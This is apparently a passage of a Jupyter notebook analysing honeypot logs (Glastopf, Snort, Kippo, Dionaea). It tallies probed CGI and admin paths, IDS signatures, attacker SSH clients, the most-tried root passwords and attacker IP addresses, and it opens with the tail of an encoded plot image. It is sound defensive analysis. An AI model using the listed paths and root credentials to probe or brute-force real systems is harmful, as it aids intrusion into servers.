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\nh8ZBFEX85Cc/wVNPPYUTJ07g+PHjmW4SjcHBgwfhcDgwa9Ys9kbRqAcffBA//vGPcf/99+O1117D\niRMnMt0kGgNZlnH69Gls2rQJDz30EEwmE1555ZVMN4vGKRQK4eDBg1i9enWmm0Jj1Nrait/+9rfY\ntWsXfvazn8Hv96O+vj7TzSLKSTkREjmdTnR2dg7c7uzsZPdDoikSCoXw8MMPY926dRzXr2EWiwVL\nly7Fhx9+mOmm0BicPHkSBw8exLZt2/Doo4/i+PHjnNdNYwoKCgAADocDK1asYA9ojSgsLITT6cSc\nOXMAAKtWrcLp06cz3Coar8OHD+Oiiy6Cw+HIdFNojD766CPMnz8fdrsdkiRh5cqVOHnyZKabRZST\nciIkmj17NlpbW9He3o5QKIS9e/di2bJlmW4WUc5TVRVPPfUUZs6cieuuuy7TzaFxcrvd8Hq9AMIr\nnR07dgyzZs3KcKtoLG699VY8+eST2LVrF7Zv346FCxfiS1/6UqabRWMUCAQGhgn6/X4cPXoUVVVV\nGW4VjUV+fj6KiorQ3NwMADh69CiH6WrQnj17sGbNmkw3g8ahvLwcp06dQn9/P1RV5d8eURrlxJxE\nkiTh9ttvxw9/+EMoioINGzbwTUNDdu7ciRMnTsDj8eDuu+/Gli1bcNVVV2W6WTQGJ0+eRH19Paqq\nqvCNb3wDQPif1yVLlmS4ZTQW3d3d2LVrFxRFgaqqqK2txaJFizLdLJoAQRAy3QQah56eHvzkJz8B\nEJ4XbO3atbj00ksz3Coaq89//vN47LHHEAqFUFJSgq1bt2a6STQOfr8fx44dw5133pnpptA41NTU\noLa2Fjt27IAgCJg1axbnciNKE0HlZAZERERERERERNNeTgw3IyIiIiIiIiKiyWFIRERERERERERE\nDImIiIiIiIiIiIghERERERERERERgSERERERERERERGBIREREREREREREYEhEREREUVs27YNx44d\ny3QziIiIiChDdJluABERkVZs27YNPT09kCQJoiiioqICtbW12LhxIwRBSOlrtbe345577sGSJUtw\n3333DWz/6U9/irKyMtx0000pfb2oVH8fRERERKQdDImIiIjGYceOHfjYxz6Gvr4+HD9+HLt378ap\nU6ewdevWtLxeQ0MDPvjgA8ybNw9AOMTJ9iBHlmVIkpTpZhARERHRODEkIiIimgCz2Yxly5YhPz8f\nDzzwAK6//npUVlbi0KFDeOGFF9DW1gaLxYINGzYM9Pr50Y9+hKVLl2Lz5s0Dz/O1r30NN998M5Yv\nX570dT7xiU/gV7/6Fb7zne8k7HvjjTfwpz/9Cd///vcHtt1888346U9/ipKSEuzatQtGoxEXLlzA\niRMnUFNTg3/4h3/Ayy+/jLq6OuTn5+MrX/kKampqBh7f0NCAZ555Bl1dXVi+fDnuuOMO6PV6AMDB\ngwfxwgsvoKOjAxUVFbjjjjtQVVUFINzLatOmTaivr0dLSwuee+45iCJHtRMRERFpCc/eiIiIJmHO\nnDkoLCzE+++/DwAwmUy455578Oyzz+K+++7D73//e7zzzjsAgPXr16O+vn7gsY2Njejq6sJll102\n7PNv2rQJLS0tE54raN++fbjlllvw9NNPQ6fT4YEHHsDs2bPxzDPPYOXKlXj22Wfj7v/mm2/iW9/6\nFh577DG0tLTgP//zPwEAp0+fxlNPPYU777wTzzzzDDZu3IiHHnoIoVBo4LF79+7F/fffj927dzMg\nIiIiItIgnsERERFNUkFBAXp7ewEAl1xyCSorKwEAVVVVWLNmDd577z0AwOWXX47m5ma0trYCAOrq\n6nDFFVeMODTLYDDgxhtvxAsvvAAAUFV1zO0SBAErV67ErFmzoNfrsWLFChiNRtTW1kIQBFxxxRVo\nbGyMe8zmzZvhdDphs9lw4403Ys+ePQCAP/7xj9i4cSPmzJkDQRBw5ZVXQq/X49SpUwOPvfbaa+F0\nOgd6HhERERGRtnC4GRER0SS5XC7YbDYAwKlTp/D888/j7NmzCIVCCAaDWL16NYBw4LN69WrU1dXh\npptuwt69e3HvvfeO+vwbNmzAf/3Xf+HgwYPjno/I4XAMXNfr9cjLyxu4bTAY4Pf74+5fWFg4cL2o\nqAhdXV0AgI6ODtTV1eHVV18d2B8KhQb2D30sEREREWkPQyIiIqJJaGhogMvlwsUXXwwgvPrYtdde\niwceeAA6nQ67d++Gx+MZuP/69evx+OOP4+KLL4bRaMTcuXNHfQ2dTodPfepT+PWvf42KioqB3kRG\noxGBQGDgft3d3ZP+fjo6OuKuO51OAOEA6G//9m9x4403DvvYbJ9Qm4iIiIhGxuFmRERE4xANaHw+\nHw4ePIhHH30UtbW1A0PM/H4/rFYrdDodGhoasGfPnrjwZN68eRAEAc899xxqa2vH/Lq1tbUIBoN4\n9913B56vuroa586dQ2NjI/r7+/Hiiy8mbet4vPbaa3C5XOjt7cVLL72EK664AgCwceNG/OEPf0BD\nQwNUVYXf78ehQ4cSeiIRERERkXaxJxEREdE4PPTQQ5AkCYIgoLKyEtdffz2uueaagf1f+MIX8Nxz\nz+GZZ57BggULsHr1avh8vrjnqK2txYsvvoivf/3rY35dURSxZcsW7Ny5c2BbeXk5PvnJT+LBBx+E\n0WjE3/3d3+H1118f2C8IQlxANZaePmvXrsUPfvCDgdXNoj2HLrroItx55514+umn0draCoPBgIsv\nvhiXXHLJmL8HIiIiIspugjqRjxmJiIhowurq6vD666/je9/7XqabQkREREQ0gMPNiIiIplAgEMBr\nr72Gq6++OtNNISIiIiKKw5CIiIhoihw5cgRf/OIXkZ+fj7Vr12a6OUREREREcTjcjIiIiIiIiIiI\n2JOIiIiIiIiIiIgYEhERERERERERERgSERERERERERERGBIREREREREREREYEhEREREREREREYD/\nC20KHAJ2aSKJAAAAAElFTkSuQmCC\n",
       "text": [
        "<matplotlib.figure.Figure at 0x1092da550>"
       ]
      }
     ],
     "prompt_number": 71
    },
    {
     "cell_type": "heading",
     "level": 4,
     "metadata": {},
     "source": [
      "URL's being requested - giving us an idea of the types of vulnerabilities being scanned for."
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "glastopf_df['request_url'].value_counts()"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [
      {
       "metadata": {},
       "output_type": "pyout",
       "prompt_number": 72,
       "text": [
        "/                                               13\n",
        "/tmUnblock.cgi                                   4\n",
        "/manager/html                                    3\n",
        "/vtigercrm/test/upload/vtigercrm.txt             2\n",
        "/cgi-bin/index.cgi                               1\n",
        "/cgi-bin/counter.cgi                             1\n",
        "/cgi-bin/formmail.cgi                            1\n",
        "/cgi-bin/test                                    1\n",
        "/cgi-bin/reboot.cgi                              1\n",
        "/cgi-bin/contact.cgi                             1\n",
        "/cgi-bin/backup.cgi                              1\n",
        "/cgi-bin/welcome.cgi                             1\n",
        "/user/soapCaller.bs                              1\n",
        "/cgi-bin/php                                     1\n",
        "/cgi-bin/status.cgi                              1\n",
        "http://testp1.piwo.pila.pl/testproxy.php         1\n",
        "/level/16/exec/show/config                       1\n",
        "/cgi-sys/defaultwebpage.cgi                      1\n",
        "/etc/lib/pChart2/examples/imageMap/index.php     1\n",
        "/cgi-bin/kontakt.cgi                             1\n",
        "/cgi-bin/defaultwebpage.cgi                      1\n",
        "/phppath/cgi_wrapper                             1\n",
        "/cgi-bin/uptime.cgi                              1\n",
        "/phppath/php                                     1\n",
        "/cgi-bin/Count.cgi                               1\n",
        "/cgi-sys/php5                                    1\n",
        "/cgi-sys/entropysearch.cgi                       1\n",
        "/cgi-bin/index2.cgi                              1\n",
        "/cgi-bin/test.sh                                 1\n",
        "/cgi-bin/php5-cli                                1\n",
        "/cgi-bin/firewall.cgi                            1\n",
        "/cgi-bin/supply.cgi                              1\n",
        "/cgi-bin/printenv                                1\n",
        "/cgi-bin/test-cgi                                1\n",
        "/cgi-bin/forum.cgi                               1\n",
        "/cgi-bin/php4                                    1\n",
        "dtype: int64"
       ]
      }
     ],
     "prompt_number": 72
    },
    {
     "cell_type": "heading",
     "level": 4,
     "metadata": {},
     "source": [
      "Signatures most detected by the Snort IDS."
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "snort_df['signature'].value_counts()[:20]"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [
      {
       "metadata": {},
       "output_type": "pyout",
       "prompt_number": 73,
       "text": [
        "ET SCAN SipCLI VOIP Scan                                        338\n",
        "ET POLICY Suspicious inbound to MSSQL port 1433                 207\n",
        "ET DROP Dshield Block Listed Source group 1                     109\n",
        "ET SCAN Potential SSH Scan                                       94\n",
        "ET POLICY Suspicious inbound to mySQL port 3306                  56\n",
        "ET COMPROMISED Known Compromised or Hostile Host Traffic TCP group 25     16\n",
        "ET COMPROMISED Known Compromised or Hostile Host Traffic TCP group 24     16\n",
        "ET COMPROMISED Known Compromised or Hostile Host Traffic TCP group 18     15\n",
        "ET COMPROMISED Known Compromised or Hostile Host Traffic TCP group 29     11\n",
        "ET CINS Active Threat Intelligence Poor Reputation IP TCP group 6     10\n",
        "ET SCAN Sipvicious Scan                                          10\n",
        "ET SCAN Sipvicious User-Agent Detected (friendly-scanner)        10\n",
        "ET COMPROMISED Known Compromised or Hostile Host Traffic TCP group 23      9\n",
        "ET COMPROMISED Known Compromised or Hostile Host Traffic TCP group 15      9\n",
        "ET COMPROMISED Known Compromised or Hostile Host Traffic TCP group 17      8\n",
        "ET CINS Active Threat Intelligence Poor Reputation IP TCP group 14      8\n",
        "ET CINS Active Threat Intelligence Poor Reputation IP TCP group 39      5\n",
        "ET COMPROMISED Known Compromised or Hostile Host Traffic TCP group 4      5\n",
        "ET COMPROMISED Known Compromised or Hostile Host Traffic TCP group 9      5\n",
        "ET COMPROMISED Known Compromised or Hostile Host Traffic TCP group 36      4\n",
        "dtype: int64"
       ]
      }
     ],
     "prompt_number": 73
    },
    {
     "cell_type": "heading",
     "level": 4,
     "metadata": {},
     "source": [
      "SSH versions most used to attack Kippo honeypot."
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "kippo_df['version'].value_counts()[:10]"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [
      {
       "metadata": {},
       "output_type": "pyout",
       "prompt_number": 74,
       "text": [
        "SSH-2.0-libssh-0.1         43\n",
        "SSH-2.0-libssh2_1.4.1      34\n",
        "SSH-2.0-libssh2_1.4.3       4\n",
        "SSH-2.0-PUTTY               4\n",
        "SSH-2.0-libssh-0.5.2        4\n",
        "SSH-2.0-libssh2_1.4.2       1\n",
        "SSH-2.0-paramiko_1.13.0     1\n",
        "SSH-2.0-OpenSSH_6.7         1\n",
        "dtype: int64"
       ]
      }
     ],
     "prompt_number": 74
    },
    {
     "cell_type": "heading",
     "level": 4,
     "metadata": {},
     "source": [
      "Credentials most used to brute-force SSH login on Kippo honeypot"
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "kippo_df['loggedin'].value_counts()[:10]"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [
      {
       "metadata": {},
       "output_type": "pyout",
       "prompt_number": 80,
       "text": [
        "[root, 123456789]    25\n",
        "[root, 12345]        10\n",
        "[root, 1234]          4\n",
        "[root, 1]             3\n",
        "[root, avonline]      3\n",
        "[root, admin]         3\n",
        "[root, 12345678]      2\n",
        "[root, 1234567]       2\n",
        "[root, 12qwaszx]      2\n",
        "[root, guest]         1\n",
        "dtype: int64"
       ]
      }
     ],
     "prompt_number": 80
    },
    {
     "cell_type": "heading",
     "level": 4,
     "metadata": {},
     "source": [
      "Protocols most attacked on the Dionaea honeypot."
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "dionaea_df['connection_protocol'].value_counts().head(20)"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [
      {
       "metadata": {},
       "output_type": "pyout",
       "prompt_number": 75,
       "text": [
        "smbd            694\n",
        "SipSession      559\n",
        "SipCall         338\n",
        "mssqld           64\n",
        "mysqld           24\n",
        "ftpd              4\n",
        "RtpUdpStream      3\n",
        "epmapper          1\n",
        "dtype: int64"
       ]
      }
     ],
     "prompt_number": 75
    },
    {
     "cell_type": "heading",
     "level": 4,
     "metadata": {},
     "source": [
      "IP addresses which were detected across multiple honeypots indicating an Internet wide scan/attack."
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "honeymap = {}\n",
      "for ident in set(attacker_df.ident.tolist()):\n",
      "    honeymap[ident] = {}\n",
      "    honeymap[ident]['channel'] = list(set(attacker_df[attacker_df['ident'] == ident]['channel'].tolist()))[0]\n",
      "    honeymap[ident]['ip'] = list(set(attacker_df[attacker_df['ident'] == ident]['allattackerIP'].tolist()))[0]"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [],
     "prompt_number": 86
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "for ip in set(attacker_df['allattackerIP'].tolist()):\n",
      "    ids = set(attacker_df[attacker_df['allattackerIP'] == ip]['ident'].tolist())\n",
      "    if len(ids) > 1:\n",
      "        temp = []\n",
      "        for i in ids:\n",
      "            temp.append(honeymap[i]['ip'] + ':' + honeymap[i]['channel'])\n",
      "        temp = set(temp)\n",
      "        if len(temp) > 3:\n",
      "            print \"%s seen across %d honeypots (%s) with %d connections\" %(ip, len(temp), \", \".join(temp), attacker_df[attacker_df['allattackerIP'] == ip].shape[0])"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "85.114.141.217 seen across 4 honeypots (193.104.41.53:snort.alerts, 23.251.63.84:kippo.sessions, 122.228.207.199:snort.alerts, 117.40.239.54:kippo.sessions) with 8 connections\n"
       ]
      }
     ],
     "prompt_number": 87
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "#85.114.141.217\n",
      "from matplotlib import pyplot as plt\n",
      "\n",
      "fig = plt.figure(figsize=(16, 5))\n",
      "\n",
      "for ident in attacker_df[attacker_df.allattackerIP == '85.114.141.217']['ident'].value_counts().index:\n",
      "    channel = attacker_df[attacker_df['ident'] == ident]['channel'].tolist()[0]\n",
      "    a =  channel.split('.')[0]\n",
      "    plt.plot(attacker_df[attacker_df['ident'] == ident]['ident'].resample(\"D\", how='count'), label=a)\n",
      "plt.legend(bbox_to_anchor=(1.05, 1), loc=2, borderaxespad=0.)    \n",
      "plt.show()"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [
      {
       "metadata": {},
       "output_type": "display_data",
       "png": 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